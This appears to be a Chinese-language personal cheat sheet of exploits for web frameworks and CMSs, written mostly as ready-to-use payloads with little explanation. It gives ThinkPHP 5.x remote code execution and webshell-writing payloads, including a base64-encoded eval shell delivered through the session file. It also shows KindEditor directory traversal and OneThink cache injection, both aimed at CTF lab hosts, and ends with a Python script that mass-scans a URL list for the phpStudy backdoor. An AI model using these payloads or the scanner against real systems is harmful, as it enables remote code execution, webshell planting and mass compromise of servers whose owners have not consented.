遇到过的cms和框架的漏洞

Web

ThinkPHP 5.0.x、5.1.x、5.2.x 全版本REC(远程命令/代码执行漏洞)

1
2
3
index.php?s=captcha
post:
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

远程执行命令payload(不唯一):

1
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写文件payload(不唯一):

1
index.php?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>i
1
2
3
4
php5可以利用assert去rce，php7就需要用session文件包含比较稳妥。 _method=__construct&method=get&filter[]=assert&get[]=var_dump(file_put_contents('.o.php',base64_decode(shell)));

session: _method=__construct&filter[]=think\Session::set&method=get&get[]=adPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1 
_method=__construct&filter[]=strrev&filter[]=think__include_file&method=get&server[]=1&get[]=php://filter/convert.base64-encode/resource=/tmp/sess_2333`

kindeditor编辑器的文件目录遍历漏洞

1
http://2c0bc5a13a96421a844a8ec8ec3743efc0c7f53181614fcc.changame.ichunqiu.com/kindeditor/php/file_manager_json.php?path=../

OneThink CMS的缓存漏洞

1
2
新建用户
%0a$a=$_GET[a];#%0asystem($a);#

记得urldecode
然后访问

1
http://19640660af614d60879d5f56b41efc7ae9b0ab83ffb74fd0.changame.ichunqiu.com/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls

phpstudy后门检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# !/usr/bin/env python
# -*- coding:utf-8 -*-

import gevent
from gevent import monkey

gevent.monkey.patch_all()
import requests as rq


def file_read(file_name="http-200-list.txt"):
    with open(file_name, "r") as f:
        return [i.replace("\n", "") for i in f.readlines()]


def check(url):
    '''
    if "http://" or "https://" not in url:
        url = "https://" + url
    '''
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27',
        'Sec-Fetch-Mode': 'navigate',
        'Sec-Fetch-User': '?1',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
        'Sec-Fetch-Site': 'none',
        'Accept-Charset': 'ZWNobyBlZVN6eHU5Mm5JREFiOw==',  # 输出 eeSzxu92nIDAb
        'Accept-Encoding': 'gzip,deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
    }
    try:
        res = rq.get(url, headers=headers, timeout=3)
        if res.status_code == 200:
            res.text.find('eeSzxu92nIDAb')
            #print(res.text.find('eeSzxu92nIDAb'))
            if res.text.find('eeSzxu92nIDAb')>-1:
                print("[存在漏洞] " + url)
                f=open("ok.txt","a")
                f.write("[存在漏洞] " + url+"\n")
                f.close()
            else:
            	print("[不存在漏洞] " + url)
    except Exception as e:
        #raise e
        print("[超时] " + url)
if __name__ == '__main__':
    print("phpStudy 批量检测 (需要 gevent,requests 库)")
    print("使用之前，请将URL保存为 url.txt 放置此程序同目录下")
    input("任意按键开始执行..")
    tasks = [gevent.spawn(check, url) for url in file_read()]
    print("正在执行...请等候")
    gevent.joinall(tasks)
    wait = input("执行完毕 任意键退出...")